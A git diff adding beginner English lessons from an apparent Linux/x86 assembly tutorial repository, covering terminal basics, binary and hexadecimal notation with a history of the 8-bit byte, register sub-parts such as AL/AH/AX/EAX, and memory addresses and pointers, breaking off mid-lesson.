+- `No such file or directory` → you gave a file/folder name that doesn't exist (again, most of the time a typo).
+- `Permission denied` → you don't have permission to do that job (we'll touch on this later).
+
+> 💡 All three of the most common errors actually turn out to be "typos." That's why **completion with Tab** (which we saw above) is both a speed boost and a shield against errors.
+
+> 💡 **You might be wondering:** *"If I type something wrong, could I accidentally delete my precious Linux or my files?"* The commands you know (`echo`, `ls`, `pwd`, `cd`, `mkdir`, `cat`) **delete** nothing — they only look, move around, and create. The real sharp knife that deletes files is `rm`, but we haven't even taught it yet; when it comes, we'll point at it loudly. Typing a command wrong is harmless too: the result is at most `command not found`, meaning nothing happens. (System files also require `sudo` + a password, so you can't stumble into them by accident.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Terminal = the window where you give the computer orders by TYPING, not with the mouse.
+☐ Rhythm: type the command → Enter → read the output → new prompt.
+☐ In the terminal you're always inside a folder:
+ - pwd → "where am I?" (which folder)
+ - ls → "what's here?" (file/folder list)
+☐ Navigating and creating:
+ - mkdir → create a folder
+ - cd → go into a folder | cd .. → one folder up
+☐ File:
+ - echo "..." > file → write output not to the screen but to a file (WIPES its contents; use >> to append)
+ - cat file → show the file's contents
+☐ echo/ls/cat are PROGRAMS; when you run them they become short-lived PROCESSES.
+☐ Error = not an enemy, a clue. Most errors are typos. Complete with Tab.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The "worker" that runs the program and the program/process distinction
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Installing the assembly tools in the terminal and running the first program
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Counting the way the machine counts
+
+---
+
+**Previous topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+**Next topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
new file mode 100644
index 0000000..9ae1b94
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
@@ -0,0 +1,275 @@
+# 🔢 x86 Assembly — Numbers: The Way the Machine Counts
+
+> The machine doesn't write numbers the way you do. Inside there is only **on** and **off** —
+> that is, only two digits: 1 and 0. This gives rise to long, tiring-to-read numbers; so people write
+> them with a short notation called **hexadecimal**. The only goal of this lesson is for you to be able to
+> *read* the machine's numbers. Not to do arithmetic — to read. So that when `0xff` shows up in GDB you don't
+> say "what on earth is this?"
+
+> **There is no code in this lesson, and no math homework at all.** We'll learn binary and hexadecimal only
+> enough to *recognize* them. No four operations by hand, no memorization. Promise: this is not the thing you feared.
+
+---
+
+## 📋 Table of Contents
+
+- [Don't Be Afraid: This Is Not Math, It's Literacy](#dont-be-afraid-this-is-not-math-its-literacy)
+- [Why Binary? Because Inside There's Only On/Off](#why-binary-because-inside-theres-only-onoff)
+- [You Already Know the Decimal System](#you-already-know-the-decimal-system)
+- [Binary: Same Idea, Just Two Digits](#binary-same-idea-just-two-digits)
+- [Why Is a Byte 0–255? (The Answer from 01)](#why-is-a-byte-0255-the-answer-from-01)
+- [Hexadecimal: A Shorthand for Humans](#hexadecimal-a-shorthand-for-humans)
+- ["Reading" Hex (Not Calculating It)](#reading-hex-not-calculating-it)
+- [Where Will I See This?](#where-will-i-see-this)
+- [Appendix: Why Is a Byte 8 Bits? (History and Reasons)](#appendix-why-is-a-byte-8-bits-history-and-reasons)
+
+---
+
+## Don't Be Afraid: This Is Not Math, It's Literacy
+
+Most people, when they hear the phrase "binary number system," remember the nightmare math from school. There's nothing like that here.
+
+Imagine you're learning a foreign alphabet. Your goal isn't to write poetry in that language; it's just to be able to **read** the signs. That's our concern too: the machine writes numbers in its own alphabet (1s and 0s, or their shorthand, hex), and we're going to learn to read those signs. You don't need to do any addition or subtraction by hand — the computer already does that.
+
+> 🔑 The single goal of this lesson: when you see something like `1011` or `0xff`, to be able to say "this is a number, roughly this big." You don't need to be a fluent translator; being *literate* is enough.
+
+---
+
+## Why Binary? Because Inside There's Only On/Off
+
+In the previous lesson we thought of the computer as "numbered boxes + a worker." So how does the number inside those boxes *physically* sit there?
+
+The inside of a computer is nothing but billions of tiny **switches**. Each switch is either **on** or **off** — like a light switch, no in-between. These are all the "digits" the machine has to work with:
+
+```
+ on → 1
+ off → 0
+```
+
+Only two symbols. That's why the machine has to write every number with these two digits — this is called **binary**. Everything you see (numbers, letters, images, music) ultimately comes down to these sequences of on/off switches.
+
+A single switch (a single on/off) is called a **bit**. A bit is the smallest piece of information in a computer: either 0 or 1.
+
+> 💡 "Why 2 digits instead of 10?" Because there are two states a switch can reliably tell apart: present/absent, on/off. The machine can't reliably hold something like "exactly 63% on." Two states are solid and clear — and that's why the machine counts in binary.
+
+---
+
+## You Already Know the Decimal System
+
+You've actually used the idea of "place value" your whole life, you just never named it. Look at this number: **347**
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 3×100 4×10 7×1 → 300 + 40 + 7 = 347
+```
+
+So every digit has a **value**: rightmost the ones, then tens, then hundreds... These values go 1, 10, 100, 1000 — that is, **powers of 10.** Why 10? Because we have **10 digits** (0–9).
+
+Here's the whole secret: **binary is exactly the same system, only because it has 2 digits instead of 10, the place values are powers of 2.** You're not learning anything new; you're doing what you already know with a different number of digits.
+
+---
+
+## Binary: Same Idea, Just Two Digits
+
+In decimal the places grew 1, 10, 100… In binary they grow 1, 2, 4, 8, 16… (doubling at each step):
+
+```
+ ... 128 64 32 16 8 4 2 1 ← place values (powers of 2)
+```
+
+To read a binary number, you add up the values of the places that are **1**. Example — `1011`:
+
+```
+ place value: 8 4 2 1
+ bit: 1 0 1 1
+ ↓ ↓ ↓ ↓
+ 8 + 0 + 2 + 1 = 11
+```
+
+So binary `1011` is the number **11** that we know. One more example — `110`:
+
+```
+ place value: 4 2 1
+ bit: 1 1 0 → 4 + 2 + 0 = 6
+```
+
+That's all. "Add up the values of the ones." You don't even need to grab paper and practice it; seeing the logic is enough.
+
+---
+
+## Why Is a Byte 0–255? (The Answer from 01)
+
+If you recall, in the first lesson I said "each box holds a number between 0–255, and we'll see later why it's 255." Here's the answer.
+
+The computer uses bits not one by one, but **in groups.** A group of 8 bits is called a **byte** — that is, 8 switches side by side. Those "boxes" of memory are each a byte.
+
+With 8 switches, what's the smallest and largest number?
+
+```
+ Smallest: 0 0 0 0 0 0 0 0 → all off = 0
+
+ Largest: 1 1 1 1 1 1 1 1 → all on
+ values: 128 64 32 16 8 4 2 1
+ = 128+64+32+16+8+4+2+1 = 255
+```
+
+> 🔑 So 8 bits can hold a total of **256** different values, **from 0 to 255.** That's the answer to "why 255?": the largest number reached when all 8 switches of a byte are on is 255. For larger numbers the machine uses several bytes side by side (we'll see this later).
+
+> 💡 **Something you might be wondering:** *"If a box holds at most 255, then where does my score of 5000 in a game, or my money in the bank, sit?"* It doesn't fit in one box — the machine spreads the big number across **several consecutive boxes** (we touched on this above). How these boxes are counted as a single big number, and the question "how does the worker know they're a single number and not 4 separate small numbers?", we explain exactly in [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md).
+
+> 💡 **But why exactly 8 switches — why not 7 or 9?** And why is the maximum therefore 255? This isn't actually a math rule, it's a historical **choice.** We explain both the reason and the story in detail in the [Appendix: Why Is a Byte 8 Bits?](#appendix-why-is-a-byte-8-bits-history-and-reasons) section at the very end of the lesson. For now it's enough to say "groups of 8 are a convention, and we explain why at the end."
+
+---
+
+## Hexadecimal: A Shorthand for Humans
+
+Binary is great for the machine but tiring for humans: writing and reading `11111111` strains the eyes and is easy to get wrong. The solution is **hexadecimal** (hexadecimal, or *hex* for short).
+
+Hex has one neat trick: **4 bits correspond exactly to a single hex digit.** (Because 4 bits write 16 different values, and hex also has 16 digits.) Since 16 digits don't end at 0–9, the ones from 10 to 15 are written with letters:
+
+```
+ binary hex binary hex
+ 0000 = 0 1000 = 8
+ 0001 = 1 1001 = 9
+ 0010 = 2 1010 = A (10)
+ 0011 = 3 1011 = B (11)
+ 0100 = 4 1100 = C (12)
+ 0101 = 5 1101 = D (13)
+ 0110 = 6 1110 = E (14)
+ 0111 = 7 1111 = F (15)
+```
+
+A byte is 8 bits; 8 bits = two groups of 4 = **exactly 2 hex digits.** Here's the short form of that tiring byte:
+
+```
+ binary: 1111 1111
+ hex: F F → written: 0xFF
+ decimal: 255
+```
+
+The leading `0x` is placed to say "attention, this is a hex number" — otherwise we'd confuse whether `FF` is a number or letters. When you see `0xFF`, you read it as "a single byte, all on, i.e. 255."
+
+> 💡 That's the entire reason hex exists: a faithful, one-to-one but **short** way of writing binary. That's why at the low level (assembly, GDB, memory dumps) numbers are almost always written in hex. It doesn't hide the binary — it just tidies it up.
+
+---
+
+## "Reading" Hex (Not Calculating It)
+
+Now the most reassuring part: **you don't have to convert hex to decimal in your head.** The trick of it is recognition:
+
+- If you see `0x` in front → "this is a raw machine number / address."
+- `0xFF` → a byte, all its bits on (255).
+- Something long like `0x080484b6` → not scary; it's just a **box number** (an address), written in short form. The numbers of the boxes in the warehouse from the previous lesson look exactly like this.
+
+When you need the exact number, **let the computer do the conversion.** For example, in the terminal (recall from lesson 02) you can type `python3` and try these:
+
+```
+>>> 0xff
+255
+>>> 0b1011
+11
+```
+
+So when you type `0x...` it tells you the decimal equivalent, and the same for `0b...` (binary). No need to fuss by hand; the goal is to *recognize* these notations.
+
+> 🔑 The literacy bar is this much: (1) `0x` = hex, `0b` = binary; (2) one byte = 2 hex digits; (3) when you see it, not panicking and being able to say "this is a number/address." Over time, familiarity by sight comes on its own.
+
+---
+
+## Where Will I See This?
+
+If this lesson felt abstract, you'll see its payoff concretely very soon. Later, when tracing programs with GDB (lesson 07), the screen will be full of things like this:
+
+```
+ eax = 0x5
+ ebx = 0xffffd6a4
+ address 0x08048000 ...
+```
+
+From today on, these are no longer meaningless charms: `eax = 0x5` → "there's a 5 in the EAX box"; `0xffffd6a4` → "an address, i.e. a box number." You've learned to read the machine language of numbers; the rest will settle in with practice.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Goal: to READ machine numbers (not calculate). Not math homework, literacy.
+☐ Inside there's only on(1)/off(0) → the machine counts in BINARY. One switch = 1 bit.
+☐ Binary is the same as decimal; place values are powers of 2, not 10: 1,2,4,8,16,32,64,128...
+ - Reading = add up the values of the places that are 1. (1011 = 8+2+1 = 11)
+☐ 1 byte = 8 bits → largest 11111111 = 255. So a byte is 0–255 (256 values). [the answer from 01]
+☐ "8" is not a law of nature, but a historical choice (a letter fits + 2 BCD digits + power of 2). Detail: the Appendix at the end.
+☐ HEX = the short form of binary. 4 bits = 1 hex digit; 1 byte = 2 hex digits.
+ - Digits: 0–9, then A,B,C,D,E,F (10–15). 0x goes in front. E.g.: 11111111 = 0xFF = 255.
+☐ Don't do the conversion by hand: in python3, 0xff → 255, 0b1011 → 11. You just RECOGNIZE.
+☐ The bar: 0x=hex, 0b=binary; byte=2 hex digits; when you see it, say "this is a number/address."
+```
+
+---
+
+## Appendix: Why Is a Byte 8 Bits? (History and Reasons)
+
+> This section is for the curious. Skipping it won't stop you from understanding the rest of the lesson — but if you asked above "why is a byte exactly 8?", the answer (and its story) is here. And the story is actually a good one.
+
+### First, the most important fact: 8 is not a rule, it's a choice
+
+There is **no** law in math or physics that says "a byte must be 8 bits." You can group bits in any number you like; the question is only "how many to a group?" Indeed, the first computers were complete chaos on this front — every machine chose its own size. "8" is a convention that later won out for specific reasons.
+
+### Where does the word "byte" come from?
+
+The term was coined in 1956 by IBM engineer **Werner Buchholz**, while IBM's first transistorized supercomputer "Stretch" (IBM 7030) was being designed. Buchholz deliberately spelled the English word *bite* (a mouthful) as *byte* so it wouldn't be confused with "bit" — so a byte roughly meant "a mouthful of bits the machine bites off and processes at once."
+
+The interesting thing is: on Stretch, the size of a byte was **not fixed.** The machine could address individual bits, and how many bits a byte would be was specified inside the instruction (variable length). So at the start "byte" didn't yet mean "8 bits"; it just meant "a group of bits."
+
+### Before standardization: the chaos of bit sizes
+
+Before 8 was standardized, machines tried every route:
+
+```
+ 4 bit → BCD: to write a single decimal digit (0–9)
+ 5 bit → Baudot: old telex/telegraph code
+ 6 bit → BCDIC, military Fieldata: letter+digit+symbol (weak upper/lower case distinction)
+ ... → word sizes also varied widely, like 12, 36, 60 bit
+```
+
+36-bit machines (for example the PDP-10) were common into the 1970s. In that era numbers were often written in **octal**, because word sizes were multiples of 3. So the world of "everything in hex" didn't exist yet.
+
+### The standardization of 8: IBM System/360 (1964)
+
+The turning point was the **IBM System/360** (announced in 1964). This machine **fixed the byte at 8 bits**, made memory addressable byte by byte, and introduced an 8-bit character encoding called **EBCDIC**. Because System/360 was a colossal commercial success, the 8-bit byte became the de facto standard for the whole world. Then Intel's 8008/8080 microprocessors carried this 8-bit tradition into the personal-computer era; everything you have today is built on top of it.
+
+Fred Brooks, one of the chief architects of System/360, later said "the most important technical decision of my career was choosing the 8-bit byte for the 360" — his wager was that **text/character processing** would become more important than pure decimal arithmetic. It turned out right.
+
+### So why exactly 8? (three reasons came together)
+
+1. **So that a letter fits exactly (character encoding).** 6 bits give only 64 possibilities — not enough for uppercase + lowercase + digits + punctuation. 8 bits give 256 possibilities: room for a whole character set, and even accented/extra characters on top. (7-bit ASCII was enough for English; going to 8 left room both for extra characters and for error checking/parity.) In short, "1 byte = 1 character" sat comfortably.
+
+2. **Practical for decimal (BCD) arithmetic.** The business/finance machines of that era worked with decimal numbers, and a decimal digit was written in 4 bits (BCD). Two 4-bit digits fit exactly into one 8-bit byte. So 8 sat cleanly into the decimal world too.
+
+3. **A power of 2 / hardware-friendly.** 8 = 2³. Binary addressing, memory layout, and data buses work cleanly with powers of 2. Moreover, 8 divides into two 4-bit groups — that is, into the **two hex digits** you just learned. That's exactly why a byte is exactly 2 hex digits. Had it been 9 bits, it would neither sit cleanly into hex nor have this alignment.
+
+### There's also "octet"
+
+In some places (especially in networking/communication standards, in RFCs) you'll see the word **octet** instead of byte. The reason is precisely this history: because "byte" hasn't always been 8 bits in the past, those who want to say "definitely 8 bits" use the unambiguous term "octet." So when you see octet, read it as "exactly 8 bits."
+
+### And the essence of the "why 255?" question
+
+Now it's clear why 255 is 255: because a byte was fixed at 8 bits, 8 bits hold `2⁸ = 256` different values, i.e. **0–255.** Had the convention been 7 bits the largest number would be 127, had it been 9 bits it would be 511. So 255 is not a magic number; it's the **direct arithmetic result of the 8-bit tradition** chosen for the reasons above. First (for those reasons) came 8, and 255 fell out of it.
+
+> 🔑 Summary: "byte = 8 bits" is not a law of nature, but a historical agreement. 8 was settled on so that a letter fits (256 characters), two decimal digits are packed (2×4 bits), and it comes out "round" to the machine (a power of 2, two hex digits); IBM System/360 made it the standard. And 255 is the natural consequence of that 8.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Boxes, the byte, and the "why 0–255" question
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where addresses (box numbers) are written in hex
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll see registers and addresses live, in hex
+
+---
+
+**Previous topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+**Next topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
new file mode 100644
index 0000000..e85ef20
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -0,0 +1,155 @@
+# 🔍 x86 Assembly — Inside a Register: AL, AH and Size Games
+
+> In 04 you met the registers: the boxes in the worker's pockets, each holding 4 bytes.
+> In this short intermezzo lesson we step INSIDE one of those pockets once more. It turns out you don't
+> always have to use a register as a whole — whenever you like, you can touch just a part of it, say a single
+> byte of it. A small detail, but it really cements how registers actually do their work.
+
+> **No code here either.** We're just looking at the inner structure of a register. If you're in a hurry you can
+> skim this lesson and jump to 05; but the "**same bits, different window**" idea here will clear your head a lot
+> later on, once you start doing work with bytes. Short, I promise.
+
+---
+
+## 📋 Table of Contents
+
+- [Recall: One Register, 4 Bytes](#recall-one-register-4-bytes)
+- [AX: The Lower Half of the Register](#ax-the-lower-half-of-the-register)
+- [AL and AH: The Two Bytes of AX](#al-and-ah-the-two-bytes-of-ax)
+- [The Most Important Part: Same Bits, Different Window](#the-most-important-part-same-bits-different-window)
+- [Which Registers Have This?](#which-registers-have-this)
+- [What Is This Good For?](#what-is-this-good-for)
+
+---
+
+## Recall: One Register, 4 Bytes
+
+Recall from 04: a register, say `EAX`, holds 32 bits = 4 bytes. Most of the time you use EAX as a single whole, a 4-byte number.
+
+But you don't always need that much room. Sometimes all you have is a single byte's worth (0–255) of something — say a single letter. Spending a whole register on that feels wasteful. So x86 gives you a convenience: you can use **only a part** of the register. Let's see how.
+
+---
+
+## AX: The Lower Half of the Register
+
+We touched on this briefly in the Appendix at the end of 04: the **lower 16 bits** of EAX are called `AX`. (The historical reason was explained there: on old machines registers were 16-bit, and `AX` is a name left over from those days; the leading `E` stands for "Extended", i.e. the version widened to 32 bits.)
+
+16 bits = 2 bytes; so AX can hold a number from 0 to 65535. (From 03: 16 bits = 4 hex digits.)
+
+```
+ EAX (32 bit)
+ ┌─────────────────────┬─────────────────────┐
+ │ (high 16 bit) │ AX │
+ │ │ (low 16 bit) │
+ └─────────────────────┴─────────────────────┘
+```
+
+The upper 16 bits of EAX have no name of their own; you can't reach them directly, on their own. But you can reach the lower half by calling it `AX`.
+
+---
+
+## AL and AH: The Two Bytes of AX
+
+Let's take it one step further. AX itself was 2 bytes. Those two bytes have separate names too:
+
+- Lower (low) byte → `AL` (L = *low*)
+- Upper (high) byte → `AH` (H = *high*)
+
+Each is exactly 1 byte = 8 bits = 0–255 (again that range you know from 03). The whole picture looks like this:
+
+```
+ bit: 31 .............. 16 | 15 ....... 8 | 7 ....... 0
+ ┌─────────────────────┬──────────────┬─────────────┐
+EAX = │ (unnamed high 16) │ AH │ AL │
+ └─────────────────────┴──────────────┴─────────────┘
+ │←────────── AX ──────────→│
+```
+
+So let's line them up: `AL` = the very bottom byte, `AH` = the byte just above it, `AX` = these two together (the lower 16 bits), `EAX` = all of it (32 bits). Four different names — but all four are differently-sized slices of the **same register.**
+
+---
+
+## The Most Important Part: Same Bits, Different Window
+
+This is the one critical idea in this lesson, and it's the sentence you should keep in mind: **AL, AH, AX and EAX are NOT four separate boxes.** They're all views into the same single box, through windows of different sizes.
+
+The consequence: if you change `AL`, you've also changed the lowest byte of `EAX` — because they are **physically the same bits.** Not separate copies, the same place. With a concrete example:
+
+```
+ Suppose: EAX = 0x11223344
+
+ Then: AL = 0x44 (lowest byte)
+ AH = 0x33 (the byte just above it)
+ AX = 0x3344 (the low two bytes together)
+
+ Now if you write 0xFF to AL:
+
+ EAX = 0x112233FF
+ ▲▲
+ only the lowest byte changed; the rest stayed in place
+```
+
+Why is `AL = 0x44`? Recall from 03: the **rightmost** digit is the smallest value — so the lowest byte of a number is always the rightmost two hex digits. The rightmost of `0x11223344` is `44` → `AL`, and the `33` to its left → `AH`. (Don't start from the left and mistake `0x11` for `AL`; the low byte is always at the right end.)
+
+As you can see, touching `AL` affected `EAX` too — because `AL` is nothing more than an alias for one corner of `EAX`. Remember the "box" metaphor from 04: this is still **a single pocket box;** you're just choosing whether you're looking at (and writing to) the whole of it or one corner of it.
+
+> 🔑 In one sentence: `AL`/`AH`/`AX`/`EAX` are not separate registers, they are windows onto the same register, from small to large. Writing to a small window also changes that part of the large window.
+
+> ⚠️ One of the most frequent sources of error later on is exactly here: being surprised, "I wrote to AL, why did EAX change?" You already know the answer — because the two are the same bits. Keep this sentence in your pocket.
+
+> 💡 **Something that may nag at you:** *"If there's an important big number sitting in EAX and I write to the AL corner, won't that number get corrupted and turn into garbage? Shouldn't I check whether 'EAX is empty' before using it?"* You don't ask "is it empty" — a register always holds something, and you **know what it holds** (because you put it there). There are three cases: if its contents are no longer needed, writing over them is perfectly normal anyway (registers are constantly reused). If you specifically want to change just that byte, AL is exactly the tool. But if its contents are **still needed**, either you use a different register (`EBX`/`ECX`/`EDX`) for your byte-sized work, or you first **save** EAX somewhere and then restore it later (we'll see this "save–restore" in lesson 14, on the stack). So corruption happens only if you overwrite a value that is *still needed*; the fix is not "ask whether it's empty" but **"know what it holds and don't overwrite what you need."** The worker will happily write to AL without checking what's in EAX — protecting your data is your job.
+
+---
+
+## Which Registers Have This?
+
+This full pattern — 32, 16, and two separately-accessible 8-bit bytes — is found in the main four registers:
+
+```
+ EAX → AX → AH / AL
+ EBX → BX → BH / BL
+ ECX → CX → CH / CL
+ EDX → DX → DH / DL
+```
+
+In the others (`ESI`, `EDI`, `ESP`, `EBP`) things are a bit plainer: they too have a 16-bit form (`SI`, `DI`, `SP`, `BP`), but in our 32-bit world there is **no** "high byte / low byte" split like `AH`/`AL`. So on those you have "use half of it," but not "pick that single byte of it."
+
+For now keep the main four (`EAX`–`EDX`) and their `AH`/`AL` parts in mind; those are the ones you'll meet most often.
+
+---
+
+## What Is This Good For?
+
+The short answer: most of the time you don't need a full 4-byte number. A single letter (character) is exactly 1 byte — to hold it, using just `AL` rather than the whole `EAX` is both enough and clean. When you work byte by byte (text, characters, small values one at a time) `AL`/`AH` will keep coming up.
+
+> 💡 Look-ahead note: You'll see this in action, with real instructions, in [08_mov_ve_bellek](./08_mov_ve_bellek.md) and while dealing with characters. At that moment you won't ask "why `AL`?" — because by then you'll know: for a single-byte job, the register's exactly-that-byte window is enough.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ You don't always have to use a register as a whole (4 bytes); you can access a part of it too.
+☐ EAX (32 bit) → AX (lower 16 bit) → AH (high byte) + AL (low byte). From 03: byte = 8 bit = 0..255.
+☐ MOST IMPORTANT: AL/AH/AX/EAX are NOT separate boxes — they are different-sized windows onto the same box.
+ - Writing to AL also changes EAX's low byte. (The same physical bits.)
+ - E.g.: with EAX=0x11223344, AL=0x44; writing 0xFF to AL makes EAX=0x112233FF.
+☐ This pattern (32 / 16 / 8+8) exists in the main four registers: EAX/EBX/ECX/EDX → ..X → ..H / ..L.
+☐ ESI/EDI/ESP/EBP: they have a 16-bit form (SI/DI/SP/BP) but (in 32-bit) NO byte split like AH/AL.
+☐ What it's good for: for a single-byte job (e.g. a character) AL is enough instead of a whole register. Detail: 08.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What registers are; the ground this lesson sits on
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The basis of AL/AH being "1 byte = 0..255" and of hex
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where you'll see AL/AH in action, with real instructions
+
+---
+
+**Previous topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+**Next topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
new file mode 100644
index 0000000..001761c
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
@@ -0,0 +1,315 @@
+# 🗄️ x86 Assembly — Memory and Registers
+
+> In 01 we drew a picture from a distance: a huge warehouse, a few pockets on the worker, and a very fast but very dumb worker.
+> Now we're zooming in on that picture. Exactly how big are the boxes in the warehouse, what fits inside them; how are the worker's
+> pockets different from the ones in the warehouse; and how does the worker shuttle back and forth between the two all day long?
+> This is the lesson that closes Unit 0 — by the time you're done, the picture in your head will be clear enough to put your first real code on top of.
+
+> **There's still not a single line of code in this lesson.** We're only sharpening the picture from 01: taking a close look at memory
+> and registers and establishing the relationship between them. We'll see the instructions and the real syntax in the next unit, when we
+> write and run our first program. No rush; if this ground is solid, the rest will settle into place on its own.
+
+---
+
+## 📋 Table of Contents
+
+- [A Close Look at Memory](#a-close-look-at-memory)
+- [Address or Value — Once More](#address-or-value--once-more)
+- [A Close Look at Registers](#a-close-look-at-registers)
+- [The Worker's Real Dance: Between Warehouse and Pocket](#the-workers-real-dance-between-warehouse-and-pocket)
+- [The Program Lives in These Boxes Too](#the-program-lives-in-these-boxes-too)
+- [The Worker's Finger Is a Register Too](#the-workers-finger-is-a-register-too)
+
+---
+
+## A Close Look at Memory
+
+In 01 we got to know memory as a "warehouse of numbered boxes": each box has a number, and inside it sits a number. Back then we said, "a box holds a number between 0 and 255, and we'll see why 255 later." After 03, we can finally fill in that blank.
+
+Each box is exactly one **byte** — that is, 8 switches side by side (8 bits). The smallest number a byte can hold is 0 (all off), the largest is 255 (all on). Here are those rows upon rows of memory boxes, each one a byte:
+
+```
+ Address: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+ each box = 1 byte = 8 switches = a number between 0..255
+```
+
+The boxes' numbers — that is, their **addresses** — go 0, 1, 2, 3… **consecutively**, without leaving any gaps. And as you learned in 03, at the low level these addresses are usually written in hex: something scary-looking like `0x080484b6` is really just a **box number.** Long, but a single number.
+
+Now that classic question: what if we want to hold a number bigger than 255? We put that on hold in 03 too — we said "the machine uses several bytes side by side." Here's how it happens:
+
+```
+ A large number like "1,000,000" does NOT FIT in a single box (a box holds at most 255).
+ The machine spreads it across several CONSECUTIVE boxes:
+
+ Address: 100 101 102 103
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ │ .. │ │ .. │ │ .. │ │ .. │ ← 4 boxes TOGETHER = a single big number
+ └────┘ └────┘ └────┘ └────┘
+```
+
+So a large value means "several boxes side by side, read together." A single box is small; but boxes are cheap and ordered, so you can combine as many as you want.
+
+> 🔑 Memory in two sentences: (1) each box is exactly 1 byte, holding 0–255; (2) a larger number is several consecutive boxes held together. The box's **number = address** (usually written in hex), the box's **inside = value**.
+
+> 💡 Forward-note: We said "several boxes together," but the *order* in which these bytes get lined up in memory follows its own rule (one that seems odd the first time you see it). We'll see it when we actually look at memory with GDB ([07_gdb_tek_adim](./07_gdb_tek_adim.md), [08_mov_ve_bellek](./08_mov_ve_bellek.md)). For now it's enough to say "big number = several boxes" — the order isn't a worry.
+
+> 💡 **You might be wondering:** *"That dumb worker — how does it know whether 4 boxes side by side are a single big number or 4 separate small numbers? What if I put 4 independent small values there?"* It doesn't know — there's no label on the boxes saying "we belong together." The grouping is determined entirely by the **instruction**: if it says "read 1 byte from box 100," it's a single small number; if it says "read 4 bytes," all four together are one big number. So it's **your** responsibility to read the data the way you wrote it; if you read it at the wrong size, a nonsense number comes out and the machine won't stop you. (This is exactly the "the instruction gives the meaning" rule from [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md).)
+
+---
+
+## Address or Value — Once More
+
+In 01 we called this the distinction that "trips people up most often down the road"; it's so important that let's reinforce it once more, with a fresh example. Let's look at box number 5 in memory and say it holds 12:
+
+```
+ box number 5
+ ┌──────┐
+Address 5→│ 12 │← Value 12
+ └──────┘
+ "the box's PLACE" = 5 "the box's INSIDE" = 12 (two separate numbers)
+```
+
+Address 5, value 12. Two numbers that look nothing alike, two separate roles. Think about this for a second: if someone tells the worker "bring box number 12," does the worker bring **box 5**, which has 12 inside it? No — it goes to a completely different box, **box 12**. Because "12" here was said as an address, not as a value.
+
+Now a strange but powerful idea: the number **inside** a box can perfectly well be another box's **number.** If box 5 holds 12, you can also read it as "box 5 is *pointing me* to 12" — as if one box points at another box.
+
+> 🔑 The same number can play the role of a **value** in one place and an **address** in another. Which role you read it in is determined by **the command you give the worker** — the box itself doesn't know, doesn't care. The "literally obedient worker" idea from 01 comes in handy right here: you supply the meaning, it just does what it's told.
+
+Let's make this a bit more concrete, because it'll be very useful down the road. Say box 5 again holds 12, and box 12 holds 99. If we tell someone "go to the place box 5 *points to*," they have to take two steps:
+
+```
+ 1) First look at box 5 → it holds 12 inside
+ 2) Read that 12 as an ADDRESS,
+ go to box 12 → the value you actually want is there (99)
+
+ ┌──────┐ ┌──────┐
+ Address 5│ 12 │ ──────────────────► │ 99 │ Address 12
+ └──────┘ "go to box 12" └──────┘
+ (holds an ADDRESS) (the actual VALUE)
+```
+
+So box 5 holds, not the actual data, but **where** the actual data is. A box like this, holding another box's address inside it, is called a **pointer**: "box 5 points to box 12."
+
+Ground it in everyday life: it's like a coat-check ticket. The ticket itself is not your coat; the number on it tells the attendant **which hook** your coat is on. Or an address book — the "Alice" line doesn't contain Alice's house, it contains **where** her house is. A pointer is exactly like this: it carries not the data, but the location of the data.
+
+So what's it good for? Because instead of carrying a huge thing from hand to hand, just saying "it's over there" is often much cheaper — like giving someone your address instead of mailing them your house. As you'll see later, programs always manage large data this way, by passing its address (its pointer) around.
+
